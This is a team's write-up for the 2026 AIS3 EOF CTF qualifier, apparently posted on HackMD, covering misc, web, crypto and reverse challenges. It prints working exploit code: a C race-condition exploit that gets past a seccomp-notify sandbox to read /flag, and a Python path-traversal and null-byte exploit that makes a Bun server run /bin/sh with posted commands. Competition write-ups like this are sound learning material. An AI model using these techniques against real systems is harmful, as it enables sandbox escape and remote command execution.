zidk
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights New
    • Engagement control
    • Make a copy
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Make a copy Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    # 2026 AIS3 EOF Qual writeup ![image](https://hackmd.io/_uploads/BkboxR7HZg.png) ## Misc ### fun > Solver: LemonTea flag.enc `eabbc25677f3084458f0531f86863f226c95d555e6c28bd7` 接著分析 `loader`。透過 `strings` 看到它使用了 `libbpf` 來載入 `xdp_prog.o`,並將其 attach 到網路介面上 它還會讀取 perf buffer 的事件 這代表`xdp_prog.o` 是核心邏輯所在,它處理網路封包並將結果傳回 userspace。 使用 `objdump` 來分析 `xdp_prog.o` 的 BPF bytecode: ```bash objdump -d xdp_prog.o ``` 在 `xdp_encoder` 函式中,可以看到大量的 `ldxb` (load byte) 和 `xor` 指令。程式邏輯大致如下: 1. 檢查封包長度。 2. 從封包的特定偏移量(Offset 42 開始)讀取 byte。 3. 將讀取到的 byte 與一個 hardcoded 的數值進行 XOR 運算。 4. 將結果存入 stack。 5. 最後透過 `bpf_perf_event_output` 將處理後的資料傳送出去。 部分組語如下: ```assembly 110: 71 24 2a 00 00 00 00 00 ldxb %r4,[%r2+42] ; 讀取第 1 個 byte (Offset 42) 118: a7 04 00 00 af 00 00 00 xor %r4,175 ; XOR 175 (0xAF) ... 148: 71 24 2b 00 00 00 00 00 ldxb %r4,[%r2+43] ; 讀取第 2 個 byte (Offset 43) 150: a7 04 00 00 f4 00 00 00 xor %r4,244 ; XOR 244 (0xF4) ... ``` 這是一個簡單的 XOR 加密 `flag.enc` 中的內容就是 Flag 經過這個 XDP 程式處理後的結果。 exploit.py ```python enc_hex = "eabbc25677f3084458f0531f86863f226c95d555e6c28bd7" enc_bytes = bytes.fromhex(enc_hex) keys = [ 175, 244, 132, 45, 4, 154, 57, 15, 43, 192, 29, 120, 217, 183, 10, 125, 11, 165, 186, 17, 185, 150, 187, 170 ] flag = "" for i in range(len(enc_bytes)): flag += chr(enc_bytes[i] ^ keys[i]) print(flag) ``` > Flag: EOF{si1Ks0Ng_15_g0oD_T0} ### SaaS > Solver: LemonTea seccomp-sandbox.c ```c #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <fcntl.h> #include <string.h> #include <stddef.h> #include <seccomp.h> #include <sys/uio.h> #include <sys/types.h> #include <sys/signal.h> #include <sys/socket.h> #include <sys/wait.h> #include <sys/mman.h> #include <sys/syscall.h> #include <sys/ptrace.h> #include <sys/ioctl.h> #include <sys/prctl.h> #include <linux/limits.h> #include <linux/prctl.h> #include <linux/seccomp.h> #include <linux/filter.h> #include <linux/audit.h> int is_open_file_nr(int nr) { return ( nr == __NR_open || nr == __NR_openat || nr == __NR_openat2 || nr == __NR_link || nr == __NR_linkat || nr == __NR_symlink || nr == __NR_symlinkat || nr == __NR_mount || nr == __NR_name_to_handle_at ); } int path_index(int nr) { switch (nr) { case __NR_open: return 0; case __NR_openat: return 1; case __NR_openat2: return 1; case __NR_link: return 0; case __NR_linkat: return 1; case __NR_symlink: return 0; case __NR_symlinkat: return 1; case __NR_mount: return 0; case __NR_name_to_handle_at: return 1; default: return -1; } } int notif_handler(struct seccomp_notif *req, struct seccomp_notif_resp *resp, int fd) { int ret, memfd; char memfile[PATH_MAX]; char open_path[PATH_MAX]; char real_path[PATH_MAX]; resp->id = req->id; resp->error = 0; resp->val = 0; int nr = req->data.nr; ret = seccomp_notify_id_valid(fd, req->id); if (ret < 0) { goto out; } if (is_open_file_nr(nr)) { int index = path_index(nr); struct iovec local[1]; struct iovec remote[1]; local[0].iov_base = open_path; local[0].iov_len = sizeof(open_path); remote[0].iov_base = (void *) req->data.args[1]; remote[0].iov_len = sizeof(open_path); if (process_vm_readv(req->pid, local, 1, remote, 1, 0) < 0) { resp->error = -EPERM; resp->val = -8; goto out; } realpath(open_path, real_path); if (strcmp(real_path, "/flag") == 0) { fprintf(stderr, "[sandbox] blocked open /flag\n"); resp->error = -EPERM; resp->val = -8; goto out; } goto cont; } else if (nr == __NR_getpid) { resp->val = 48763; } else { cont: resp->flags = SECCOMP_USER_NOTIF_FLAG_CONTINUE; } ret = 0; out: close(memfd); return ret; } int init_seccomp() { int ret; scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_ALLOW); // send_fd // ret = seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(sendmsg), 0); // ret = seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(fcntl), 0); // stdin, stdout, stderr // ret = seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 1, SCMP_CMP(0, SCMP_CMP_LE, 2)); // ret = seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 1, SCMP_CMP(0, SCMP_CMP_LE, 2)); seccomp_rule_add(ctx, SCMP_ACT_NOTIFY, SCMP_SYS(open), 0); seccomp_rule_add(ctx, SCMP_ACT_NOTIFY, SCMP_SYS(openat), 0); seccomp_rule_add(ctx, SCMP_ACT_NOTIFY, SCMP_SYS(openat2), 0); seccomp_rule_add(ctx, SCMP_ACT_NOTIFY, SCMP_SYS(link), 0); seccomp_rule_add(ctx, SCMP_ACT_NOTIFY, SCMP_SYS(linkat), 0); seccomp_rule_add(ctx, SCMP_ACT_NOTIFY, SCMP_SYS(symlink), 0); seccomp_rule_add(ctx, SCMP_ACT_NOTIFY, SCMP_SYS(symlinkat), 0); seccomp_rule_add(ctx, SCMP_ACT_NOTIFY, SCMP_SYS(mount), 0); seccomp_rule_add(ctx, SCMP_ACT_NOTIFY, SCMP_SYS(name_to_handle_at), 0); seccomp_rule_add(ctx, SCMP_ACT_NOTIFY, SCMP_SYS(getpid), 0); seccomp_load(ctx); ret = seccomp_notify_fd(ctx); if (ret < 0) { errno = -ret; return -1; } // set blocking int flags = fcntl(ret, F_GETFL); flags &= ~O_NONBLOCK; fcntl(ret, F_SETFL, flags); return ret; } static int pidfd_open(pid_t pid, unsigned int flags) { return syscall(SYS_pidfd_open, pid, flags); } static int pidfd_getfd(int pidfd, int targetfd, unsigned int flags) { return syscall(SYS_pidfd_getfd, pidfd, targetfd, flags); } static int seccomp_notify_zeroing( struct seccomp_notif *req, struct seccomp_notif_resp *resp ) { int rc; static struct seccomp_notif_sizes sizes = { 0, 0, 0 }; if (sizes.seccomp_notif == 0 && sizes.seccomp_notif_resp == 0) { rc = syscall(__NR_seccomp, SECCOMP_GET_NOTIF_SIZES, 0, &sizes); if (rc < 0) return rc; } // no size if (sizes.seccomp_notif == 0 || sizes.seccomp_notif_resp == 0) return -EFAULT; if (req) memset(req, 0, sizes.seccomp_notif); if (resp) memset(resp, 0, sizes.seccomp_notif_resp); return 0; } void run_program(char* program) { char *argv[2]; argv[0] = program; argv[1] = NULL; if (access(program, X_OK) != 0) { fprintf(stderr, "program not found or not executable\n"); exit(127); } execve(program, argv, __environ); } int main(int argc, char **argv) { int status = -1; int *targetfd = mmap(NULL, sizeof(int), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0); *targetfd = -1; char *program; if (argc > 1) { program = argv[1]; } else { program = "app"; } int pid = fork(); if (pid == 0) { // no new priveleges to enable filter without root prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0); int notifier = init_seccomp(); *targetfd = notifier; // busy waiting, keep fd valid until parent receive it while (*targetfd != -1); close(notifier); run_program(program); // should not reach here exit(127); } else if (pid < 0) { fprintf(stderr, "fork failed\n"); goto close; } else { int pidfd = pidfd_open(pid, 0); // busy waiting while (*targetfd == -1); int notifier = pidfd_getfd(pidfd, *targetfd, 0); if (notifier < 0) { goto out_kill; } *targetfd = -1; munmap(targetfd, sizeof(int)); int tracer = fork(); if (tracer == 0) { struct seccomp_notif *req; struct seccomp_notif_resp *resp; seccomp_notify_alloc(&req, &resp); while (1) { seccomp_notify_zeroing(req, resp); int ret = seccomp_notify_receive(notifier, req); if (ret) break; if (notif_handler(req, resp, notifier) < 0) break; seccomp_notify_respond(notifier, resp); } seccomp_notify_free(req, resp); close(notifier); exit(1); } close(notifier); waitpid(pid, &status, 0); out_kill: if (tracer > 0) kill(tracer, SIGKILL); if (pid > 0) kill(pid, SIGKILL); } close: return status; } ``` 這題我們可以看到他使用了Seccomp規則 ```c seccomp_rule_add(ctx, SCMP_ACT_NOTIFY, SCMP_SYS(open), 0); seccomp_rule_add(ctx, SCMP_ACT_NOTIFY, SCMP_SYS(openat), 0); seccomp_rule_add(ctx, SCMP_ACT_NOTIFY, SCMP_SYS(openat2), 0); seccomp_rule_add(ctx, SCMP_ACT_NOTIFY, SCMP_SYS(name_to_handle_at), 0); ``` 所有與開檔相關的 syscall 都會送至 notifier,由 tracer process 決定是否允許繼續執行 接着這段: ```c if (process_vm_readv(req->pid, local, 1, remote, 1, 0) < 0) { resp->error = -EPERM; resp->val = -8; goto out; } realpath(open_path, real_path); if (strcmp(real_path, "/flag") == 0) { fprintf(stderr, "[sandbox] blocked open /flag\n"); resp->error = -EPERM; resp->val = -8; goto out; } ``` 流程為: 1. 使用 process_vm_readv() 從 user memory 讀取 pathname 2. 使用 realpath() 解析實際路徑 3. 若結果為 /flag 則阻擋,否則允許繼續執行 發現: Notifier 使用以下方式取得 pathname: `req->data.args[1]` 但 Linux syscall ABI 中,pathname 的位置為: ``` open(path, flags, mode) args[0] openat(dirfd, path, flags) args[1] openat2(dirfd, path, how) args[1] ``` 所以 使用 open() 時,notifier 會把 flags 當成指標,導致檢查錯誤 必須使用 openat() 才能正確通過 notifier 並且透過 process_vm_readv() 直接從 user memory 讀取 pathname 但有 - 未鎖定記憶體 - 未複製到 kernel space - 未重新驗證 嗯對一個 `TOCTOU race condition` exp.c ```c #define _GNU_SOURCE #include <stdio.h> #include <unistd.h> #include <fcntl.h> #include <pthread.h> #include <string.h> #include <stdlib.h> #include <sys/syscall.h> #include <sched.h> char path[32] = "/tmp/ok"; volatile int stop = 0; void *racer(void *arg) { while (!stop) { strcpy(path, "/flag"); asm volatile("" ::: "memory"); strcpy(path, "/tmp/ok"); asm volatile("" ::: "memory"); } return NULL; } int main() { pthread_t t; char buf[4096]; int tmp = open("/tmp/ok", O_CREAT | O_RDWR, 0644); write(tmp, "ok", 2); close(tmp); pthread_create(&t, NULL, racer, NULL); for (int i = 0; i < 1000000; i++) { int fd = syscall(SYS_openat, AT_FDCWD, path, O_RDONLY, 0); if (fd < 0) continue; int n = read(fd, buf, sizeof(buf)-1); if (n > 0) { buf[n] = 0; if (strcmp(buf, "ok") != 0) { write(1, buf, n); stop = 1; _exit(0); } } close(fd); } stop = 1; return 0; } ``` > Flag: EOF{TICTACTOE_TICKTOCTOU} ### MRTGuessor > Solver: LemonTea > 題目給了一張圖片 ![image](https://hackmd.io/_uploads/SykcYnw7Ze.png) 看到圖片發現他是板南線 然後一開始猜 `新埔` 結果不是 然後覺得天花板很現代 心想可能是忠孝新生 去網路上找關鍵字 `忠孝新生捷運站` 找到一個Flicker https://www.flickr.com/photos/reptile/6389443453/ 但怕出錯 於是我們派出臺北人Yuto去實地考察了一番 ![image](https://hackmd.io/_uploads/HkbKchP7bx.png) 這是他拍的照片 然後就對了 > Flag: EOF{catch_up_MRT_by_checking_the_timetable_in_advance} ## Web ### Bun.PHP > Solver: Yuto https://x.com/thdxr/status/1958246871861715108 這題是靠 Gemini 分析的。 從 `src/` 下的 js 和 PHP 可以看的出來,他會把 `/cgi-bin/` 底下的 php 檔案餵給 `/usr/bin/php-cgi`,然後解析結果回傳給 client。 ```php title:src/cgi-bin/index.php #!/usr/bin/php-cgi <?php if (isset($_GET["-s"])) { highlight_file(__FILE__); exit(); } $name = htmlentities($_REQUEST["name"] ?? "World"); echo "<h1>Hello $name!</h1>\n"; ``` 在 `src/index.js` 中可以看到他會檢查請求的檔案名稱結尾是不是 `.php`,然後用 php-cgi 的環境把 php 跑起來,並把請求的 body 餵給腳本跑起來的 process。 ```javascript title:src/index.js hl:15-17,24-26 import { $ } from "bun"; import { resolve } from "node:path"; const server = Bun.serve({ host: "0.0.0.0", port: 1337, routes: { "/": async req => { return new Response(null, { status: 302, headers: { "Location": "/cgi-bin/index.php" }, }); }, "/cgi-bin/:filename": async req => { const filename = req.params.filename; if (!filename.endsWith(".php")) { return new Response(`404\n`, { status: 404, headers: { "Content-Type": "text/plain" }, }); } const scriptPath = resolve("cgi-bin/" + filename); const body = await req.blob(); const shell = $`${scriptPath} < ${body}` .env({ REQUEST_METHOD: req.method, QUERY_STRING: new URL(req.url).searchParams.toString(), CONTENT_TYPE: req.headers.get("content-type") ?? "", CONTENT_LENGTH: body ? String(body.size) : "0", SCRIPT_FILENAME: scriptPath, GATEWAY_INTERFACE: "CGI/1.1", SERVER_PROTOCOL: "HTTP/1.1", SERVER_SOFTWARE: "bun-php-server/0.1", REDIRECT_STATUS: "200", }) .nothrow(); // PHP-CGI outputs headers + body separated by \r\n\r\n const output = await shell.text(); const [rawHeaders, ...rest] = output.split("\r\n\r\n"); const headers = new Headers(); for (const line of rawHeaders.split("\r\n")) { const [k, v] = line.split(/:\s*/, 2); if (k && v) headers.set(k, v); } const responseBody = rest.join("\r\n\r\n"); return new Response(responseBody, { headers }); }, } }); console.log(`listening on http://localhost:${server.port}`); ``` 在 javascript 的字串中允許 `\x00`,而且 `path.resolve` 也會保留 `\x00`,但丟給底層的 C API 後,字串就會被截斷。 所以我們可以用 `/bin/sh/0x00` 再搭配 body 餵指令給他,就可以取得控制。 ```shell $ python3 ./solve.py https://b80ef5ac068f3989.chal.eof.133773.xyz:20001/ Sending request to https://b80ef5ac068f3989.chal.eof.133773.xyz:20001/cgi-bin/..%2f..%2f..%2f..%2fbin%2fsh%00.php Status: 200 Response: EOF{1_tUrn3d_Bun.PHP_Int0_4_r34l1ty} ``` 腳本: ```python title:exploit.py import requests import sys def solve(url): # Target: /cgi-bin/../../../../bin/sh%00.php # We use URL encoding for the path traversal and null byte to ensure it reaches the server as intended. # However, requests might normalize '..'. We should use a prepared request or handle it carefully. # Actually, requests usually normalizes path. # We can send the raw path in the URL. target_path = "/cgi-bin/../../../../bin/sh%00.php" # But we need to encode the null byte. # And we might need to encode the dots if the client normalizes them. # Let's try sending encoded dots. # payload_path = "/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh%00.php" # Wait, if we encode dots, the router might not match /cgi-bin/:filename if it expects decoded path. # But :filename matches the segment. # If we send /cgi-bin/..%2f..%2f..%2f..%2fbin%2fsh%00.php # The router sees /cgi-bin/ and the rest is filename. # filename = ..%2f..%2f..%2f..%2fbin%2fsh%00.php # If Bun decodes it -> ../../../../bin/sh\0.php # Then resolve works. # Remove trailing slash from url if present if url.endswith('/'): url = url[:-1] encoded_filename = "..%2f..%2f..%2f..%2fbin%2fsh%00.php" full_url = f"{url}/cgi-bin/{encoded_filename}" # Command to execute # We need to output headers so the server parses the output correctly. command = 'printf "Content-Type: text/plain\\r\\n\\r\\n"; /readflag give me the flag' print(f"Sending request to {full_url}") try: r = requests.post(full_url, data=command) print(f"Status: {r.status_code}") print("Response:") print(r.text) except Exception as e: print(f"Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 solve.py <url>") sys.exit(1) solve(sys.argv[1]) ``` ## Crypto ### catcat's message > Solver: LemonTea 我們來看 chal.py ```python from sage.all import * import secrets with open('flag.txt', 'rb') as meEoooW: meOwO = meEoooW.read() meOwO = [int(bit) for byte in meOwO for bit in f'{byte:08b}'] R = PolynomialRing(ZZ, names=('meowingcat',)); (meowingcat,) = R._first_ngens(1) MmMeoOOOoOoW = 10413259884191656339071716260830970594019380678633640710598727433295926285347918708292004016490651932000*meowingcat**7 + 252494110674012002541514797764827158724121386633059451594119818010148193281592400026520593213461099399038944073486*meowingcat**6 + 14529160840260745786509496359724356787188326132801486485566133985535665069892295966690495950982676949536238346962*meowingcat**5 + 95515120986975418742780707357913088549131357305328369209808244591545738634309873996623254051815891755018401343856*meowingcat**4 + 65176268221379786971773925764775296541697077770744636064225970565945754418513311940786569146293497193663533010652*meowingcat**3 + 180776214508546762217902706989924469079606298223767170020347719086675964795206127649700412230279249284690008979158*meowingcat**2 + 233302413192532175819496609029797143533434993955387323269458143291245908014630929176027926621738749425901291228018*meowingcat + 143491234406688723416490898601225309678343916741387556923054435686233973323559376474177051270543031936592520011397 MmMeoOOOoOow = 3471086628063885446357238753610323531339793559544546903532909144431975428449306236097334672163550644000*meowingcat**7 + 84164703558004000847171599254942386241373795544353150531373272670049397760530800008840197737820366466346314691162*meowingcat**6 + 91064528951076613265720743351539296774527279629238715675150132217418711139411039580553128030185345691325519935046*meowingcat**5 + 31838373662325139580926902452637696183043785768442789736602748197181912878103291332207751350605297251672800447952*meowingcat**4 + 21725422740459928990591308588258432180565692590248212021408656855315251472837770646928856382097832397887844336884*meowingcat**3 + 232701688844828316746402724793237178717464441244532163700038748140038967163962591066546062836475323177856883965170*meowingcat**2 + 250210421739490121280267358806528070202074006488405548116408889541562281570437524908655234300295156558260644714790*meowingcat + 220273362144208970479265455330337458917043647417072292667607653673224970006747007341371609183229917395181118430820 MeowMeOwmeoWw = 258664426012969094010652733694893533536393512754914660539884262666720468348340822774968888139573360124440321458177 MeowMeOwMeOoW = 1 MeowMeOwmEOWMEOw = EllipticCurve(GF(MeowMeOwmeoWw), [0, 0, 0, 0, MeowMeOwMeOoW]) mmEow = MeowMeOwmEOWMEOw(211327896882745355133216154117765694506824267591963425810864360539127436927129408124317179524815263831669171942288, 242000360178127454722920758782320325120065800315232786687003874687882586608857040803085327019415054542726981896082) mmEoW = MeowMeOwmEOWMEOw(141078002483297354166779897252895086829637396399741587968861330915310465563157775245215359678414439802307293763593, 21987419692484616093788518727313616089990324856173653004512069981050648496581282307403640131128425072464960150591) def MEOw(MeoooWmeow, MeoooWmeoW, meOwO = 0): uwub = secrets.randbelow(MeowMeOwmeoWw) return (MmMeoOOOoOow(MeoooWmeow) + (1 - meOwO) * uwub) * mmEow + (MmMeoOOOoOoW(MeoooWmeoW) + (meOwO) * uwub) * mmEoW print("=" * 33 , "Meow mEOw MeOw MeOW mEow!!!", "="*33) print("mmEow:", hex(mmEow.xy()[0])) print("mmEoW:", hex(mmEoW.xy()[0])) for MeOw in meOwO: meoW = secrets.randbelow(MeowMeOwmeoWw) print("MeeOw MeeOw > ") print(hex(MEOw(secrets.randbelow(MeowMeOwmeoWw), meoW, meOwO = MeOw^1).xy()[0])) print("MeeOw MeeOw MeeOw > ") print(hex(MEOw(meoW, secrets.randbelow(MeowMeOwmeoWw), meOwO = MeOw^0).xy()[0])) print("=" * 33, "EOF", "=" * 33) ``` 題目會對每一個 bit 輸出兩個橢圓曲線點的 x 座標 每個點是 $G_1$ $G_2$ 的線性組合,係數是從兩個多項式並混入亂數 題目給了兩個多項式 $f_1(x) = a_7x^7+a_6x^7+...a_0$ $f_2(x) = b_7x^7+b_6x^6+...b_0$ ```python def MEOw(MeoooWmeow, MeoooWmeoW, meOwO = 0): uwub = secrets.randbelow(MeowMeOwmeoWw) return (MmMeoOOOoOow(MeoooWmeow) + (1 - meOwO) * uwub) * mmEow + (MmMeoOOOoOoW(MeoooWmeoW) + (meOwO) * uwub) * mmEoW ``` 這段就是 ```python def MEOw(a, b, bit): u = random return (f1(a)+(1-bit)*u)*G1 + (f2(b)+bit*u)*G2 ``` 每個 bit 輸出兩個點 ```python P = MEOw(rand, b, bit^1) Q = MEOw(b, rand, bit) ``` 點 $Q$ 的結構為 $$Q = A \cdot G_1 + B \cdot G_2$$ 我們可以利用 pairing 的性質 取得 $G_2$ 的係數 我們計算 $Q$ 與 $G_1$ 的 pairing $$ \begin{aligned} v_1 = e(Q, G_1) &= e(A G_1 + B G_2, G_1) \\ &= e(A G_1, G_1) \cdot e(B G_2, G_1) \quad \\ &= 1^A \cdot e(G_2, G_1)^B \\ &= e(G_1, G_2)^{-B} \\ &= w^{-B} \end{aligned} $$ 提取 $G_1$ 的係數 我們計算 $Q$ 與 $G_2$ 的 pairing $$ \begin{aligned} v_2 = e(Q, G_2) &= e(A G_1 + B G_2, G_2) \\ &= e(G_1, G_2)^A \cdot 1^B \\ &= w^A \end{aligned} $$ 題目根據 flag 的 bit $b \in \{0, 1\}$ 來決定將 $k$ 加在哪個分量上 令 $x$ 為共享的隨機輸入 (`meoW`) 當 $b = 0$ 時 $$Q = (P_1(x) + k)G_1 + P_2(x)G_2$$ 這個時候可以透過 $v_1 = e(Q, G_1)$ 取得 $w^{-P_2(x)}$ 當 $b = 1$ 時 $$Q = P_1(x)G_1 + (P_2(x) + k)G_2$$ 可以透過 $v_2 = e(Q, G_2)$ 取得 $w^{P_1(x)}$ 利用了兩次呼叫共享同一個隨機數 $x$ 的特性 Flag bit = 1 第一次呼叫 call 參數設為 $1 \oplus 1 = 0$ $b=0$ 我們能取得乾淨的 $P_2(x)$ 計算 $val_1 = v_1 = w^{-P_2(x)}$ 第二次呼叫 (Call 2):參數設為 $1 \oplus 0 = 1$ 根據 $b=1$ 邏輯,我們能取得乾淨的 $P_1(x)$ 計算 $val_2 = v_2 = w^{P_1(x)}$ 題目中的多項式 $P_1(x)$ 與 $P_2(x)$ 在 mod group order 下存在線性關係 令 $L_1, L_2$ 分別為 $P_1, P_2$ 的最高次項係數,我們可以構造 $$L_2 \cdot P_1(x) - L_1 \cdot P_2(x) = C$$ 其中 $C$ 是一個與 $x$ 無關的常數 計算驗證值 $$ \begin{aligned} \text{Check} &= (val_1)^{L_1} \cdot (val_2)^{L_2} \\ &= (w^{-P_2(x)})^{L_1} \cdot (w^{P_1(x)})^{L_2} \\ &= w^{-L_1 P_2(x)} \cdot w^{L_2 P_1(x)} \\ &= w^{L_2 P_1(x) - L_1 P_2(x)} \end{aligned} $$ 代入多項式 $\text{Check} = w^{C}$ 如果猜測的 flag 正確 $k$ 會被完全避開 運算結果會等於常數 $w^C$ 如果猜測錯誤 $k$ 會殘留在指數中 運算結果就會變成隨機值 $w^{\text{random}}$ 只要檢查計算結果是否等於預計算的 $w^C$ 就可以判定 flag 的 bit by gemini 3 pro ```python from sage.all import * # Challenge parameters p = 258664426012969094010652733694893533536393512754914660539884262666720468348340822774968888139573360124440321458177 E = EllipticCurve(GF(p), [0, 1]) G1 = E(211327896882745355133216154117765694506824267591963425810864360539127436927129408124317179524815263831669171942288, 242000360178127454722920758782320325120065800315232786687003874687882586608857040803085327019415054542726981896082) G2 = E(141078002483297354166779897252895086829637396399741587968861330915310465563157775245215359678414439802307293763593, 21987419692484616093788518727313616089990324856173653004512069981050648496581282307403640131128425072464960150591) # Polynomial leading coefficients f1_7 = 3471086628063885446357238753610323531339793559544546903532909144431975428449306236097334672163550644000 f2_7 = 10413259884191656339071716260830970594019380678633640710598727433295926285347918708292004016490651932000 # Precomputed constant from polynomial analysis # C = f2(0)*f1[7] - f1(0)*f2[7] (mod ord_w) C = 1705714588519733792 def solve(): ord_G1 = G1.order() w = G1.weil_pairing(G2, ord_G1) # Target value RHS = w^-C RHS = w**(-C) with open('output.txt', 'r') as f: lines = f.readlines() flag_bits = [] i = 0 while i < len(lines): line = lines[i].strip() if "MeeOw MeeOw >" in line: # Read two points (x-coordinates) x1_hex = lines[i+1].strip() x1 = Integer(x1_hex) i += 2 if i < len(lines) and "MeeOw MeeOw MeeOw >" in lines[i]: x2_hex = lines[i+1].strip() x2 = Integer(x2_hex) i += 2 else: break try: P1 = E.lift_x(x1) P2 = E.lift_x(x2) except ValueError: continue # Compute pairings v1 = P1.weil_pairing(G1, ord_G1) v2 = P2.weil_pairing(G2, ord_G1) val1 = v1**f1_7 val2 = v2**f2_7 # Check if the relation holds for any sign combination # The relation is derived from f2 = c*f1 + d (affine relation) # which implies a relation between the pairings. # If the bit is 1, the relation holds. If 0, it's random. found = False if val1 * val2 == RHS: found = True elif val1**(-1) * val2 == RHS: found = True elif val1 * val2**(-1) == RHS: found = True elif val1**(-1) * val2**(-1) == RHS: found = True if found: flag_bits.append(1) else: flag_bits.append(0) else: i += 1 # Convert bits to bytes flag_bytes = [] for i in range(0, len(flag_bits), 8): byte_bits = flag_bits[i:i+8] if len(byte_bits) == 8: byte_val = 0 for bit in byte_bits: byte_val = (byte_val << 1) | bit flag_bytes.append(byte_val) print(bytes(flag_bytes)) if __name__ == "__main__": solve() ``` > Flag:EOF{cats_dont_like_you_for_breaking_their_meowderful_scheme_...🐈⚔🐈} ### Still Not Random > Solver: Yuto ```python title:solve.py import hmac from hashlib import sha256 from fastecdsa.curve import P384 from Crypto.Cipher import AES from fpylll import IntegerMatrix, LLL, CVP def p2i(P) -> int: return P.x * P.curve.p + P.y q = P384.q G = P384.G msgs = [ b"https://www.youtube.com/watch?v=LaX6EIkk_pQ", b"https://www.youtube.com/watch?v=wK4wA0aKvg8", b"https://www.youtube.com/watch?v=iq90nHs3Gbs", b"https://www.youtube.com/watch?v=zTKADhU__sw", ] with open("output.txt", "r") as f: content = f.read() sigs_str = content.split("sigs = ")[1].split("\n")[0] sigs = eval(sigs_str) ct_str = content.split("ct = ")[1].strip() ct = eval(ct_str) es = [] rs = [] ss = [] for i, (r, s) in enumerate(sigs): msg = msgs[i] e = int.from_bytes(hmac.new(r.to_bytes(1337, 'big'), msg, sha256).digest(), 'big') % q es.append(e) rs.append(r) ss.append(s) S = 2**128 C = 1 M_cvp = IntegerMatrix(4, 4) M_cvp[0, 0] = S * q M_cvp[1, 1] = S * q M_cvp[2, 2] = S * q M_cvp[3, 0] = S * (es[1] - es[0]) M_cvp[3, 1] = S * (es[2] - es[0]) M_cvp[3, 2] = S * (es[3] - es[0]) M_cvp[3, 3] = C target = [S * (ss[1] - ss[0]), S * (ss[2] - ss[0]), S * (ss[3] - ss[0]), 0] # Reduce basis LLL.reduction(M_cvp) # CVP try: v = CVP.closest_vector(M_cvp, target) base_sk = abs(v[3]) // C candidates = [] # Try around base_sk for offset in range(-5, 6): candidates.append(base_sk + offset) # Try around q - base_sk base_sk_neg = q - base_sk for offset in range(-5, 6): candidates.append(base_sk_neg + offset) for sk_val in candidates: print(f"Checking sk: {sk_val}") try: key = sha256(str(sk_val).encode()).digest() # Verify verified = False for i in range(len(msgs)): msg = msgs[i] r, s = sigs[i] k = int.from_bytes(key + hmac.new(key, msg, sha256).digest(), 'big') % q e = int.from_bytes(hmac.new(r.to_bytes(1337, 'big'), msg, sha256).digest(), 'big') % q if s != (k + sk_val * e) % q: break else: verified = True if verified: print("SK verified!") key = (sk_val & ((1 << 128) - 1)).to_bytes(16, 'big') cipher = AES.new(key, AES.MODE_CTR, nonce=ct[:8]) flag = cipher.decrypt(ct[8:]) print(f"Flag: {flag.decode("utf-8")}") exit(0) except Exception: pass except Exception as e: print(f"Error: {e}") ``` > Flag: `EOF{just_some_small_bruteforce_after_LLL}` ## Reverse ### bored > Solver: LemonTea 這題給了一個bin file 先寫個 diassemble.py(AI寫的) ```py from capstone import * def disasm(filename, start_addr, length): with 